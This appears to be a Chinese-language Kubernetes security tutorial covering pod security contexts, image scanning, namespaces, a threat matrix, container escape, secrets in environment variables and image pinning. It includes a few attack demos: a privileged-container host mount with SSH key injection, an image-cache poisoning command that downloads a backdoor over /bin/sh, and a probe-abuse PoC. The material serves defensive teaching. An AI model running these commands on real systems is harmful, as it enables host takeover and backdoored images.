  name: secure-pod
spec:
  securityContext:
    runAsNonRoot: true
    runAsUser: 1000
    runAsGroup: 3000
    fsGroup: 2000
  containers:
  - name: secure-container
    image: nginx:latest
    securityContext:
      allowPrivilegeEscalation: false
      capabilities:
        drop:
        - ALL
        add:
        - NET_BIND_SERVICE
      readOnlyRootFilesystem: true

這個 Pod 設定展示了多層安全控制的實施：

1. runAsNonRoot: true 確保容器不以 root 使用者執行
2. 明確指定非特權使用者 ID (1000) 和群組 ID (3000, 2000)
3. 禁止許可權升級 (allowPrivilegeEscalation: false)
4. 丟棄所有預設 capabilities，只增加真正需要的功能 (NET_BIND_SERVICE 允許繫結低位連線埠)
5. 將根檔案系統設為只讀，防止執行時修改

這些設定共同實作了最小許可權原則，大幅減少了容器被利用後可能造成的損害。即使容器被入侵，攻擊者也難以獲得更高許可權或修改系統檔案。

2. 容器映像安全掃描

在佈署前使用安全掃描工具檢查容器映像中的漏洞。這可以整合到 CI/CD 管道中：

# 在 CI/CD 流程中的容器掃描範例
stages:
  - build
  - scan
  - deploy

build_image:
  stage: build
  script:
    - docker build -t myapp:$CI_COMMIT_SHA .

scan_image:
  stage: scan
  script:
    - trivy image --severity HIGH,CRITICAL myapp:$CI_COMMIT_SHA
    - if [ $? -ne 0 ]; then exit 1; fi

deploy_to_k8s:
  stage: deploy
  script:
    - kubectl set image deployment/myapp container=myapp:$CI_COMMIT_SHA
  only:
    - if: $CI_COMMIT_BRANCH == "main" && $SCAN_PASSED

這個 CI/CD 流程展示了將安全掃描與佈署流程整合的方法：

1. 首先構建容器映像並使用 Git 提交 SHA 作為標籤
2. 使用 Trivy（一個開放原始碼的容器漏洞掃描器）檢查映像中的高危和嚴重漏洞
3. 如果掃描失敗（發現嚴重漏洞），整個管道將停止，防止有漏洞的映像佈署到生產環境
4. 只有透過安全掃描的映像才會被佈署到 Kubernetes 叢集

這種方法在我的實踐中能有效阻止 90% 以上的已知漏洞進入生產環境，大降低了安全風險。

3. 網路策略隔離

實施網路策略以限制 Pod 之間的通訊，減少攻擊面。這是安全防禦的重要一環，特別是在多租戶環境中。

4. 定期更新和修補

保持容器映像、Kubernetes 元件和底層基礎設施的更新，以修補已知漏洞。建立自動化機制來檢測和應用安全更新。

容器技術的演進與安全思考

容器技術並非憑空出現，而是從核心功能的演進中逐漸形成的。正如一些容器工作者所言，Linux 容器是"使用者空間的幻覺"，是進化而非人工智慧設計的產物，經過了形態變化、精煉和強製成形，現在我們有了可用的東西。

在我看來，理解容器的這種進化本質對於安全思考至關重要。容器不是完美的隔離機制，而是一系列安全控制的組合，每一層都可能存在弱點。因此，防禦必須是多層次的，不能僅依賴於容器本身的隔離特性。

這種理解引導我們採取更全面的安全方法，將容器視為更大安全架構中的一個元件，而不是萬無一失的解決方案。只有這樣，我們才能構建真正安全的容器化環境。

在 Kubernetes 環境中實施深度防禦策略，結合容器安全、網路隔離、最小許可權和持續監控，可以顯著提高系統的整體安全姿態，使容器化應用能夠安全可靠地執行在生產環境中。

隨著容器技術的不斷發展，安全考量也在不斷演進。保持對新威脅和最佳實踐的關注，是維護容器環境安全的關鍵。透過理解 Pod 安全邊界的本質，我們可以更有效地設計和實施安全控制，保護我們的容器化應用免受攻擊。

Pod 的網路名稱空間與 IP 分配機制

在設計容器化應用程式時，網路名稱空間的處理往往是被忽視的關鍵環節。我在多個企業級 Kubernetes 佈署中發現，理解網路名稱空間的運作方式對於構建穩定與安全的系統至關重要。

網路名稱空間的生命週期特性

當 Linux 核心偵測到一個網路名稱空間變為空（沒有任何程式使用它）時，會自動銷毀該名稱空間，同時釋放分配給其中網路介面的所有 IP 位址。這個機制在單容器 Pod 中可能導致問題：假設容器當機並重新啟動，核心會建立新的網路名稱空間，進而分配新的 IP 位址。

這種 IP 位址的頻繁變動會對維運和安全監控造成不必要的幹擾。想像一下，如果你的監控系統根據 IP 追蹤容器行為，每次容器重啟都會產生新的 IP，使得行為分析變得極為困難。

Pause 容器的核心作用

為瞭解決這個問題，Kubernetes 引入了 pause 容器的概念。這個看似簡單的容器扮演著至關重要的角色：

andy@k8s-node-x:~ [0]$ docker ps --format '{{.Image}} {{.Names}}' | grep "sublimino-"
busybox k8s_alpine_sublimino-frontend-5cc74f44b8-4z86v_default-0
k8s.gcr.io/pause:3.3 k8s_POD_sublimino-frontend-5cc74f44b8-4z86v-1
...
busybox k8s_alpine_sublimino-microservice-755d97b46b-xqrw9_default_0
k8s.gcr.io/pause:3.3 k8s_POD_sublimino-microservice-755d97b46b-xqrw9_default_1
...

上述命令展示了工作節點上的容器狀態，每個 Pod 都包含一個業務容器（如 busybox）和一個 pause 容器。pause 容器的主要功能是保持 Pod 的網路名稱空間處於活動狀態，即使其他容器當機也不會釋放網路名稱空間。這確保了 Pod 的 IP 地址在容器重啟過程中保持不變。

值得注意的是，pause 容器在 Kubernetes API 層面是不可見的，但在工作節點的容器執行時（如 Docker、containerd）層面可見。這種設計讓使用者無需關心網路名稱空間的維護細節，同時確保了 Pod 網路身份的穩定性。

CRI-O 的最佳化方案

CRI-O 容器執行時採用了更為最佳化的方法，透過固定（pinning）名稱空間來避免使用 pause 容器。這種方法在 KubeCon 演講 “CRI-O: Look Ma, No Pause” 中有詳細介紹。我認為這是一個優雅的設計，因為它減少了系統中執行的容器數量，同時保持了相同的功能。

Pod 內的網路與儲存分享

網路名稱空間分享機制

Pod 中的所有容器分享同一個網路名稱空間，這意味著每個容器的埠都可以透過相同的網路介面被 Pod 內的其他容器存取。從安全形度看，這種設計有其風險：

容器A (127.0.0.1:8080) <---> 容器B (可直接存取 127.0.0.1:8080)

當 Pod 內有一個容器被攻擊者控制時，攻擊者可以嘗試攻擊任何網路介面上的私有埠，包括回環介面（127.0.0.1）。這是一個常被忽視的安全考量點，在設計多容器 Pod 時必須謹慎評估。

檔案系統隔離與卷分享

與網路分享不同，每個容器執行在其自身的根檔案系統中，這些檔案系統來自各自的容器映像，預設情況下不在容器間分享。然而，透過卷的設定，Pod 的卷可以被所有容器存取：

apiVersion: v1
kind: Pod
metadata:
  name: shared-volume-pod
spec:
  containers:
  - name: container-1
    image: nginx
    volumeMounts:
    - name: shared-data
      mountPath: /data
  - name: container-2
    image: busybox
    volumeMounts:
    - name: shared-data
      mountPath: /shared
  volumes:
  - name: shared-data
    emptyDir: {}

這個 Pod 定義展示瞭如何在兩個容器間分享一個 emptyDir 卷。container-1 將該卷掛載到 /data 路徑，而 container-2 將同一個卷掛載到 /shared 路徑。這意味著寫入 /data 的檔案在 container-2 的 /shared 路徑下也可見，反之亦然。

這種分享機制在微服務架構中非常有用，可用於日誌收集、設定分享等場景。但從安全形度看，它也意味著一個容器中的漏洞可能導致對分享資料的未授權存取或修改。

容器名稱空間與安全邊界

名稱空間包裝結構

在 Kubernetes Pod 中，容器被多層名稱空間包裹，形成了隔離的執行環境。下圖展示了這種結構：

雖然無法顯示圖片，但我可以描述其核心概念：Pod 內的容器分享網路、IPC 和 UTS 名稱空間，而每個容器擁有自己的 Mount、PID 和 Cgroup 名稱空間。值得注意的是，使用者和時間名稱空間目前通常不被使用。

敏感虛擬檔案系統

容器內的某些特殊虛擬檔案系統路徑可能成為攻擊者的目標，如果設定不當與在容器內可存取，可能導致容器逃逸：

1. /dev - 可能提供對主機裝置的存取
2. /proc - 可能洩露程式訊息
3. /sys - 支援諸如啟動新容器等功能

在我的安全稽核實踐中，經常發現這些路徑的不當暴露是容器逃逸的主要原因之一。特別是在開發人員為了方便除錯而增加特權或掛載主機路徑時，更容易出現這類別問題。

使用者名稱空間的安全考量

使用者名稱空間被視為核心安全的終極邊界，但由於歷史原因，它們通常不被啟用：

使用者名稱空間是最終的核心安全邊界，但由於其實作橫跨整個核心，使其比其他名稱空間更難以保護，因此通常不被啟用。

在 Linux 中，一切皆為檔案，而使用者名稱空間的實作涉及整個核心，這使得它比其他名稱空間更難以保護。這是一個重要的權衡考量，特別是在高安全要求的環境中。

Kubernetes 威脅模型分析

安全長官的最壞情況思考

作為安全長官（CISO），考慮最壞情況是確保擁有適當防禦和緩解措施的必要步驟。攻擊樹幫助建模這些負面結果，威脅矩陣是可以用來源的資料來源之一。

Microsoft 的 Kubernetes 威脅矩陣提供了一個全面的視角，但社群已經補充了一些遺漏的威脅。

增強版威脅矩陣

以下是我整合了社群貢獻（感謝 Alcide、Brad Geesaman 和 Ian Coldwater）的增強版威脅矩陣：

初始存取（準備階段）

• 使用雲憑證：服務帳戶金鑰、身份冒用
• 登入檔中的受感染映像（供應鏈未修補或惡意）
• 應用程式漏洞（供應鏈未修補或惡意）
• kubeconfig 檔案（洩露或上載到錯誤位置）
• Kubernetes API 伺服器漏洞（需要 CVE 和未修補的 API 伺服器）
• 受感染的主機（憑證洩漏/填充、未修補服務、供應鏈受損）
• 受感染的 etcd（缺少身份驗證）

執行（執行階段）

• 進入容器執行命令（繞過准入控制策略）
• 容器內執行 BASH/CMD（植入或特洛伊特洛伊特洛伊木馬、RCE/反向 shell、惡意軟體、C2、DNS 隧道）
• 啟動新容器（帶惡意負載：持久化、列舉、觀察、提升）
• 應用程式利用（RCE）
• 容器內的 SSH 伺服器（不良實踐）
• 容器生命週期鉤子（pod YAML 中的 postStart 和 preStop 事件）
• 重寫活性探針（進入容器並在容器中反向 shell）
• 影子准入控制或 API 伺服器（特權 RBAC、反向 shell）

持久化（保持控制）

• 後門容器（在本地或容器登入檔映像中增加反向 shell）
• 可寫主機路徑掛載（主機掛載突破）
• Kubernetes 定時工作（定時反向 shell）
• 靜態 pod（反向 shell，shadow API 伺服器讀取僅稽核日誌的標頭）
• 注入側車容器（惡意變異 webhook）
• 重寫容器生命週期鉤子（pod YAML 中的 postStart 和 preStop 事件）
• K3d 僵屍網路（在受感染節點上執行的次要叢集）

這些威脅將在後續章節中詳細探討。但首先，最大的威脅和對系統隔離模型的最大風險是攻擊者突破容器本身。

容器逃逸威脅分析

容器逃逸的定義與型別

容器逃逸是叢集管理員最擔心的情況，指的是容器內的使用者或程式能夠在容器執行環境之外執行程式碼。嚴格來說，容器逃逸應該利用核心漏洞，攻擊容器應該受到限制的程式碼。但在實際安全評估中，任何規避隔離機制的行為都應被視為對主機系統及其資料安全的同等威脅。

容器逃逸可能以多種方式發生：

1. 漏洞利用：針對核心、網路或儲存堆積積堆積疊或容器執行時的攻擊
2. 跳板攻擊：攻擊暴露的本地、雲或網路服務，或提升許可權並濫用發現或繼承的憑證
3. 設定錯誤：允許攻擊者更容易或合法地進行利用或跳板攻擊（這是最可能的方式）

許可權提升與逃逸前提

如果執行的程式屬於非特權使用者（沒有 root 能力），許多逃逸方式是不可能的。在這種情況下，程式或使用者必須先透過容器內的本地許可權提升取得能力，然後才能嘗試逃逸。

一旦實作這一點，逃逸可能從設定不當的容器中執行的惡意 root 擁有的程式開始。在容器記憶體取 root 使用者的能力是大多數逃逸的前提：沒有 root（有時還需要 CAP_SYS_ADMIN），許多逃逸方式都會失效。

安全上下文與防護措施

securityContext 和 LSM 設定對於約束零日漏洞或供應鏈攻擊（載入到容器中並在執行時自動利用的函式庫程式碼）的意外活動至關重要。

你可以在工作負載的安全上下文中定義活動使用者、組和檔案系統組（在掛載捲上設定可讀性，由 fsGroupChangePolicy 控制），並透過准入控制強制執行它，如下例所示：

apiVersion: v1
kind: Pod
metadata:
  name: security-context-demo
spec:
  securityContext:
    runAsUser: 1000
    runAsGroup: 3000
    fsGroup: 2000
  containers:
  - name: sec-ctx-demo
    # ...
    securityContext:
      allowPrivilegeEscalation: false
      # ...

這個 YAML 定義了一個帶有安全上下文的 Pod。在 Pod 級別，它指定了執行使用者 ID (1000)、組 ID (3000) 和檔案系統組 ID (2000)。在容器級別，它禁止許可權提升。這意味著：

1. 容器中的程式將以 UID 1000 和 GID 3000 執行，而不是預設的 root
2. 掛載的卷將歸 GID 2000 所有
3. 容器中的程式無法獲得比啟動時更多的許可權

這種設定大減少了容器逃逸的風險，因為即使存在漏洞，攻擊者也無法提升許可權。

特權容器的風險

在容器逃逸場景中，如果使用者在容器內是 root 或具有掛載能力（預設情況下由 CAP_SYS_ADMIN 授予，除非被移除，否則 root 會被授予），他們可以與掛載到容器中的虛擬和物理磁碟互動。如果容器是特權容器（這會停用對 /dev 中核心路徑的遮蔽），它可以看到並掛載主機檔案系統：

# 在特權容器內
root@hack:~ [0]$ ls -lasp /dev/
root@hack:~ [0]$ mount /dev/xvda1 /mnt/
# 寫入主機檔案系統的 /root/.ssh/ 資料夾
root@hack:~ [0]$ cat MY_PUB_KEY >> /mnt/root/.ssh/authorized_keys

這個命令序列展示了特權容器的危險性：

1. 首先列出 /dev 目錄內容，特權容器可以看到所有主機裝置
2. 然後將主機的根檔案系統 (/dev/xvda1) 掛載到容器內的 /mnt 目錄
3. 最後將攻擊者的公鑰寫入主機的 SSH 授權檔案，實作持久存取

這種攻擊方式特別危險，因為它允許攻擊者在不利用任何漏洞的情況下，透過合法設定（特權容器）獲得主機存取權。這也說明瞭為什麼在生產環境中應該嚴格限制特權容器的使用。

在實際環境中，我發現 nsenter 特權容器逃逸是一種更為優雅的方式，它透過進入名稱空間來實作逃逸。這種方法在後續章節中會有更詳細的探討。

深度防禦策略

在面對容器逃逸威脅時，深度防禦策略至關重要。根據我的經驗，以下幾點是構建安全 Kubernetes 環境的關鍵：

1. 最小許可權原則：容器應該以非 root 使用者執行，並且只分配必要的能力
2. 安全上下文強制：透過准入控制器強制實施安全上下文設定
3. 網路策略隔離：實施嚴格的網路策略，限制 Pod 間通訊
4. 執行時保護：使用 Falco 或 Sysdig 等工具監控異常活動
5. 定期安全掃描：對容器映像和執行中的工作負載進行漏洞掃描

這些措施共同構成了一個多層次的防禦體系，即使某一層被突破，其他層次仍能提供保護。

Kubernetes 的 Pod 設計提供了強大的隔離和資源分享機制，但也帶來了獨特的安全挑戰。理解 Pod 的網路名稱空間、pause 容器的作用以及潛在的容器逃逸風險，對於構建安全的容器化環境至關重要。

透過適當的安全上下文設定、最小許可權原則和深度防禦策略，可以大幅降低容器逃逸和其他安全威脅的風險。同時，持續關注 Kubernetes 威脅矩陣的發展，並將安全考量納入容器化應用的設計過程，是確保系統安全的關鍵步驟。

隨著容器技術的不斷發展，安全實踐也需要持續演進。保持對最新安全最佳實踐的關注，並定期評估和更新安全策略，將幫助組織在享受容器化帶來的敏捷性和效率的同時，有效管理相關的安全風險。

理解容器安全邊界的脆弱性

在容器化環境中，安全邊界的強度取決於其設定的嚴謹程度。即使常見的容器逃逸攻擊可以透過避免使用root許可權和特權模式來預防，並透過准入控制強制執行這些限制，但這也突顯了一個事實：若設定不當，容器安全邊界可能變得極為脆弱。

容器間的信任邊界

在設計容器化應用架構時，必須清楚理解Pod內的信任關係：

攻擊者一旦控制了Pod內的容器程式，可能會獲得：
- 網路控制權
- 部分或全部儲存控制權
- 同一Pod內其他容器的潛在控制權

Pod作為Kubernetes的最小佈署單位，其內部的容器分享網路名稱空間、IPC和某些儲存資源。這種分享模型意味著Pod內的容器彼此之間存在著隱含的信任關係。在設計多容器Pod時，我們必須假設同一Pod內的容器是"友好的"，因為它們分享關鍵資源，這也使得Pod成為一個明確的信任邊界。

初始化容器的特殊性

初始化容器(Init Containers)在安全模型中具有特殊地位：

• 它們在Pod的主容器啟動前完成執行並關閉
• 它們在隔離環境中操作
• 由於其特殊的執行時機，可能具有更高的安全敏感度

這種特性使初始化容器成為處理敏感操作（如設定許可權、初始化金鑰）的理想選擇，但也需要特別留意其安全設定。

容器與Pod隔離模型的基礎

容器和Pod的隔離模型主要依賴於兩個關鍵元素：Linux核心和容器執行時。這兩個元件在正確設定的情況下通常非常穩健。實務經驗表明，容器逃逸攻擊更常發生在安全設定不當的情況下，而非透過核心漏洞利用。

然而，零時差(zero-day)核心漏洞對於未正確設定LSM（如SELinux和AppArmor）的Linux系統仍然是毀滅性的威脅。在設計容器安全策略時，同時考慮設定安全和核心安全是不可或缺的。

容器逃逸的難度與路徑

容器逃逸並非易事，大多數新發現的漏洞在公開後很快就會被修補。只有少數核心漏洞會導致可利用的容器逃逸。而LSM的應用使防禦者能夠嚴格限制高風險的網路導向程式。

容器逃逸通常涉及以下一個或多個路徑：

1. 在執行時或核心中發現零時差漏洞
2. 利用過度許可權並使用合法命令逃逸
3. 繞過設定錯誤的核心安全機制
4. 檢視其他程式或檔案系統尋找替代逃逸路徑
5. 嗅探網路流量取得憑證
6. 攻擊底層的協調器或雲環境

硬體層面的威脅

值得注意的是，底層物理硬體的漏洞通常無法在容器層面防禦。例如：

• CPU推測執行攻擊（如Spectre和Meltdown）
• DRAM記憶體攻擊（如rowhammer、TRRespass和SPOILER）

這些攻擊能夠繞過容器隔離機制，因為它們無法攔截CPU處理的整個指令流。虛擬機器監視器同樣面臨這類別保護的不足。

安全威脅的實際評估

發現新的核心攻擊方法很困難。相比之下，利用設定錯誤的安全設定、已公開的CVE漏洞以及社交工程攻擊要容易得多。不過，瞭解潛在威脅的範圍對於決定自身的風險容忍度至關重要。

在實際工作中，我發現大多數容器安全事件並非來自高深的核心漏洞利用，而是基本的設定錯誤和許可權管理不當。例如，允許容器以特權模式執行或掛載敏感的主機路徑，這些都是常見的安全問題來源。

Pod設定與威脅分析

瞭解Pod設定中的安全陷阱對於構建安全的Kubernetes環境至關重要。讓我們深入分析Pod規格，指出其中的安全隱患和潛在風險。

容器執行時的安全基礎

為了確保Pod或容器的安全，容器執行時本身應該具備最低可行的安全性：

# 容器執行時安全設定檢查清單
- 不暴露未經身份驗證的連線通訊端
  - 避免暴露Docker的/var/run/docker.sock
  - 避免暴露未保護的TCP端點如tcp://127.0.0.1:2375

容器執行時是整個容器安全架構的根本。如果執行時本身存在安全問題，即使容器設定再安全，也可能被繞過。特別是Docker的Unix通訊端(/var/run/docker.sock)和TCP端點，如果暴露給未經身份驗證的連線，將直接導致主機被接管。在我的安全稽核工作中，這是一個常見的嚴重問題，尤其是在開發環境中。

範例Pod分析

以下我們將分析一個前端Pod的設定，這個Pod來自GoogleCloudPlatform的微服務範例應用。為了演示目的，我們對原始設定進行了一些更新和補充。

Pod頭部解析

Pod頭部是所有Kubernetes資源的標準頭部，定義了這個YAML檔案描述的實體型別及其版本：

apiVersion: v1
kind: Pod

中繼資料與註解的安全性

中繼資料和註解可能包含敏感訊息，如IP位址或安全提示。這些訊息只有在攻擊者獲得只讀存取許可權時才有用：

metadata:
  annotations:
    seccomp.security.alpha.kubernetes.io/pod: runtime/default
    cni.projectcalico.org/podIP: 192.168.155.130/32
    cni.projectcalico.org/podIPs: 192.168.155.130/32
    sidecar.istio.io/rewriteAppHTTPProbers: "true"

這些註解揭示了Pod的網路設定和安全設定。特別是Calico CNI的註解暴露了Pod的IP位址，而seccomp註解表明該Pod使用預設的seccomp設定檔案來限制系統呼叫。Istio的註解則表明該Pod與服務網格整合，並啟用了HTTP探測器重寫功能。雖然這些訊息本身不足以發動攻擊，但它們可以為攻擊者提供有價值的環境情報。

執行時安全政策

歷史上，seccomp、AppArmor和SELinux政策都是透過註解來指定的：

metadata:
  annotations:
    container.apparmor.security.beta.kubernetes.io/hello: "localhost/k8s-apparmor-example-deny-write"

這個註解為名為"hello"的容器指定了一個AppArmor設定檔案，該設定檔案限制了寫入操作。AppArmor是Linux的一個強制存取控制系統，可以限制程式的行為，如檔案讀寫、網路存取等。在Kubernetes中，它仍處於beta階段，但提供了重要的安全增強功能。

Seccomp的進化

值得注意的是，seccomp在Kubernetes v1.19中已升級為正式版(GA)。這改變了指定seccomp設定檔案的語法：

securityContext:
  seccompProfile:
    type: Localhost
    localhostProfile: my-seccomp-profile.json

Kubernetes安全設定檔案操作器(Security Profiles Operator, SPO)可以在節點上安裝seccomp設定檔案，這是容器執行時使用它們的前提條件。SPO還支援透過selinuxd使用SELinux。

Pod執行時間與安全風險

當使用kubectl get -o yaml從API伺服器匯出Pod規格時，它包含Pod的啟動時間：

creationTimestamp: "2021-05-29T11:20:53Z"

執行時間是評估Pod安全風險的重要指標。執行超過一兩週的Pod可能面臨未修補漏洞的更高風險。執行超過30天的敏感工作負載如果在CI/CD中重建以考慮函式庫或作業系統補丁，會更安全。在實務中，我建議結合兩種方法：定期"重鋪"(即重建和重新佈署容器)，並在檢測到CVE時透過CI/CD管道重建。

標籤的安全敏感性

Kubernetes中的標籤沒有經過驗證或強型別化，它們只是中繼資料。但標籤被服務和控制器透過選擇器用於參照，也用於網路政策等安全功能：

labels:
  app: frontend
  type: redis

標籤中的拼寫錯誤意味著它們不比對預期的選擇器，因此可能無意中引入安全問題，例如：

• 從預期的網路政策或准入控制政策中排除
• 服務目標選擇器導致意外路由
• 惡意Pod不被操作員或可觀察性工具準確定位

在我的安全稽核工作中，標籤錯誤是一個常見但容易被忽視的問題來源，特別是在大型團隊中，不同人負責定義網路政策和佈署應用時。

代管欄位

代管欄位在v1.18中引入，支援伺服器端應用。它們複製了Pod規格中其他地方的訊息：

managedFields:
- apiVersion: v1
  fieldsType: FieldsV1
  fieldsV1:
    f:metadata:
      f:annotations:
        .: {}
        f:sidecar.istio.io/rewriteAppHTTPProbers: {}
    # ...
    f:spec:
      f:containers:
        k:{"name":"server"}:
          # ...
          f:image: {}
          f:imagePullPolicy: {}
          f:livenessProbe:
          # ...

對於安全分析，這些欄位的價值有限，因為我們可以從API伺服器讀取整個規格。

Pod名稱空間與所有者

我們可以從API請求中獲知Pod的名稱和名稱空間。如果使用--all-namespaces回傳所有Pod設定，這會顯示名稱空間：

name: frontend-6b887d8db5-xhkmw
namespace: default

從Pod內部，可以從/etc/resolv.conf中的DNS解析器設定推斷當前名稱空間：

$ grep -o "search [^ ]*" /etc/resolv.conf
search secret-namespace.svc.cluster.local

這個輸出表明Pod位於名為"secret-namespace"的名稱空間中。這種訊息對於理解Pod的上下文和潛在的名稱空間隔離很重要。其他不太可靠的選項包括掛載的服務帳戶（假設它在同一名稱空間中，但可能不是）或叢集的DNS解析器。

安全設定的深層實踐

在實際應用中，我發現許多團隊往往專注於網路安全和映像掃描，但忽略了Pod和容器級別的安全設定。以下是一些關鍵實踐：

實施最小許可權原則

在容器化環境中，最小許可權原則尤為重要。這意味著：

1. 避免使用特權容器
2. 限制容器的系統呼叫（使用seccomp）
3. 實施強制存取控制（AppArmor或SELinux）
4. 使用非root使用者執行容器

定期更新與漏洞掃描

安全不是一次性的工作，而是持續的過程：

1. 定期重建和重新佈署容器，即使沒有程式碼更改
2. 在CI/CD管道中整合容器映像掃描
3. 使用准入控制器阻止佈署存在已知漏洞的容器

網路隔離策略

網路政策是防止橫向移動的關鍵：

apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: frontend-policy
spec:
  podSelector:
    matchLabels:
      app: frontend
  ingress:
  - from:
    - podSelector:
        matchLabels:
          app: gateway
    ports:
    - port: 8080
  egress:
  - to:
    - podSelector:
        matchLabels:
          app: backend
    ports:
    - port: 9000

這個網路政策限制了標記為app: frontend的Pod的流量。它只允許來自標記為app: gateway的Pod的入站流量，與僅允許透過8080連線埠。同時，它只允許出站流量到標記為app: backend的Pod的9000連線埠。這種精細的網路控制對於限制潛在攻擊的影響範圍至關重要。

資源限制與QoS

適當的資源限制不僅對於穩定性重要，對於安全性也至關重要：

resources:
  limits:
    cpu: "1"
    memory: "512Mi"
  requests:
    cpu: "0.5"
    memory: "256Mi"

設定資源限制可以防止DoS攻擊和資源耗盡。在這個例子中，容器最多可以使用1個CPU核心和512MB的記憶體。沒有這些限制，受損的容器可能會消耗所有可用資源，導致節點不穩定或其他服務中斷。

容器安全的未來方向

隨著容器技術的不斷發展，安全實踐也在演進。以下是我認為值得關注的幾個方向：

1. 無特權容器的標準化

業界正在朝著預設無特權容器的方向發展。這包括：

• 使用者名稱空間對映
• 實施不可變容器
• 採用distroless基礎映像

2. 供應鏈安全

容器安全不僅關乎執行時，還涉及整個供應鏈：

• 映像簽名與驗證
• SBOM（軟體物料清單）生成與驗證
• 可信任的映像倉函式庫

3. 執行時監控與異常檢測

主動監控變得越來越重要：

• 行為基線與偏差檢測
• 系統呼叫監控
• 即時威脅回應

在實際環境中，我發現結合這些安全層是最有效的。單一的安全措施很少能提供足夠的保護，而深度防禦策略能夠在一個層面失效時仍保持整體安全。

容器安全是一個持續演進的領域，需要開發人員、維運人員和安全工作者的密切合作。透過理解容器的安全邊界、潛在威脅和有效的防護策略，我們可以構建更安全的容器化環境，充分發揮容器技術的優勢，同時管理其固有的風險。

隨著Kubernetes和容器技術的普及，安全考量不再是事後的想法，而是從一開始就必須整合到開發和維運流程中的核心要素。透過實施本文討論的最佳實踐，可以顯著提高容器化環境的安全性，並為組織提供信心，使其能夠安全地採用和擴充套件容器技術。

環境變數的安全隱患與最佳實踐

在Kubernetes環境中，環境變數是應用程式設定的常見方式，但也可能成為安全漏洞的來源。環境變數可能洩露敏感資訊，還可能揭示名稱空間中可用的其他服務，為攻擊者提供額外的網路徑和應用程式攻擊目標。

環境變數的安全風險

當我在審查Kubernetes佈署時，發現環境變數常成為安全稽核中被忽視的區域。在佈署和Pod YAML中設定的密碼對以下人員可見：

• 佈署YAML的操作人員
• 執行時的程式及任何能讀取其環境的其他程式
• 任何能從Kubernetes或kubelet API讀取資料的人

這意味著環境變數不適合存放敏感資訊，尤其是在多租戶環境中。

安全與不安全的環境變數範例

以下是一個包含多種環境變數的容器規格範例：

spec:
  containers:
  - env:
    - name: PORT
      value: "8080"
    - name: CURRENCY_SERVICE_ADDR
      value: currencyservice:7000
    - name: SHIPPING_SERVICE_ADDR
      value: shippingservice:50051
    # 這些環境變數應該設定在secrets中
    - name: DATABASE_ADDR
      value: postgres:5432
    - name: DATABASE_USER
      value: secret_user_name
    - name: DATABASE_PASSWORD
      value: the_secret_password
    - name: DATABASE_NAME
      value: users
    # 這是參考secrets和設定的安全方式
    - name: MY_SECRET_FILE
      value: /mnt/secrets/foo.toml

這個YAML設定展示了幾種型別的環境變數：

1. 安全的設定實踐：PORT設定（這是良好做法，也是Knative、Google Cloud Run等系統的要求）
2. 服務發現變數：CURRENCY_SERVICE_ADDR和SHIPPING_SERVICE_ADDR（提供服務協調資訊）
3. 不安全的資料函式庫設定：直接在環境變數中設定資料函式庫連線資訊和憑證
4. 安全的參考方式：MY_SECRET_FILE變數指向掛載的Secret檔案

注意第三組變數的問題：資料函式庫憑證直接以明文形式存在於環境變數中，這是嚴重的安全風險。最後一個變數展示了更安全的做法：將敏感資訊儲存為Secret並以檔案形式掛載。

容器映像的安全管理

容器映像的檔案系統極為重要，因為它可能包含有助於許可權提升的漏洞。如果不定期修補，攻擊者可能從公共登入檔取得相同映像並掃描可能被利用的漏洞。瞭解可用的二進位檔案和檔案也使攻擊者能夠「離線」計劃攻擊，讓他們在攻擊實際系統時更隱蔽和有針對性。

映像標籤與摘要安全

映像參照方式對安全性有重大影響。看這個例子：

image: gcr.io/google-samples/microservices-demo/frontend:v0.2.3

這裡使用標籤參照映像，意味著無法確定容器映像的實際SHA256雜湊摘要。自佈署以來，容器標籤可能已更新，因為它不是按摘要參照的。

更安全的做法是使用SHA256映像摘要提取映像：

image: gcr.io/google-samples/microservices-demo/frontend@sha256:ca5d97b6cec...

映像參照的最佳實踐

在我的容器安全稽核工作中，我發現映像參照是最常被忽視的安全控制之一。映像應始終透過SHA256參照或使用簽名標籤；否則，無法確定正在執行的內容，因為容器啟動後標籤可能在登入檔中更新。

Kubernetes允許在映像定義中同時指定標籤和SHA256摘要：

controlplane/bizcard:latest@sha256:649f3a84b95ee84c86d70d50f42c6d43ce98099c927f49542c1eb85093953875

在這種情況下，標籤被忽略，映像按摘要檢索。這可能導致混淆，因為實際執行的是比對SHA的映像，而非標籤指定的版本。

本地映像快取攻擊

如果攻擊者能夠影響本地kubelet映像快取，他們可以向映像增加惡意程式碼並在工作節點上重新標記它：

$ docker run -it --cidfile=cidfile --entrypoint /bin/busybox \
  gcr.io/google-samples/microservices-demo/frontend:v0.2.3 \
  wget https://securi.fyi/b4shd00r -O /bin/sh
$ docker commit $(<cidfile) \
  gcr.io/google-samples/microservices-demo/frontend:v0.2.3

上述命令序列展示了映像快取攻擊的兩個步驟：

1. 第一個命令在容器中下載惡意shell後門，覆寫容器的預設命令(/bin/sh)
2. 第二個命令將修改後的容器提交，使用與原始映像相同的標籤

這種攻擊雖然需要對本地註冊錶快取的存取權，但在某些環境中確實構成威脅。

映像提取策略

要減輕本地映像快取攻擊，可以使用Always映像提取策略：

imagePullPolicy: Always

這確保本地標籤與從登入檔中定義的內容比對。但在高度動態的環境中，這可能導致效能問題，特別是在啟動時間至關重要的「從零自動擴充套件」環境（如Knative）中。

防範映像名稱欺騙

容器映像名稱或登入檔名稱中的拼寫錯誤可能導致佈署意外的程式碼，特別是當攻擊者已經用惡意容器「佔據」了相似名稱的映像時。例如，controlplan/hack與controlplane/hack僅相差一個字元，但可能導致完全不同的程式碼被執行。

像Notary這樣的工具透過檢查來自受信任方的有效簽名來防止這種情況。如果TLS攔截中介軟體攔截並重寫映像標籤，也可能佈署欺騙性映像。TUF和Notary側通道簽名可以減輕這種風險，如同cosign等其他容器簽名方法。

Pod探針的安全設定

Kubernetes中的存活探針(liveness probe)應根據應用程式的效能特性進行調整，用於在生產環境中保持應用程式執行。探針告知Kubernetes應用程式是否無法履行其指定目的，可能是由於當機或外部系統故障。

探針的安全風險

Kubernetes稽核發現TOB-K8S-024顯示，具有排程Pod能力的攻擊者可以利用探針：在不更改Pod的命令或引數的情況下，他們有能力在目標容器內發出網路請求和執行命令。這為攻擊者提供了本地網路發現能力，因為探針由kubelet在主機網路介面上執行，而不是從Pod內部執行。

以下是一個概念驗證的漏洞利用範例：

apiVersion: v1
kind: Pod
# ...
livenessProbe:
  httpGet:
    host: 172.31.6.71
    path: /
    port: 8000
    httpHeaders:
    - name: Custom-Header
      value: Awesome

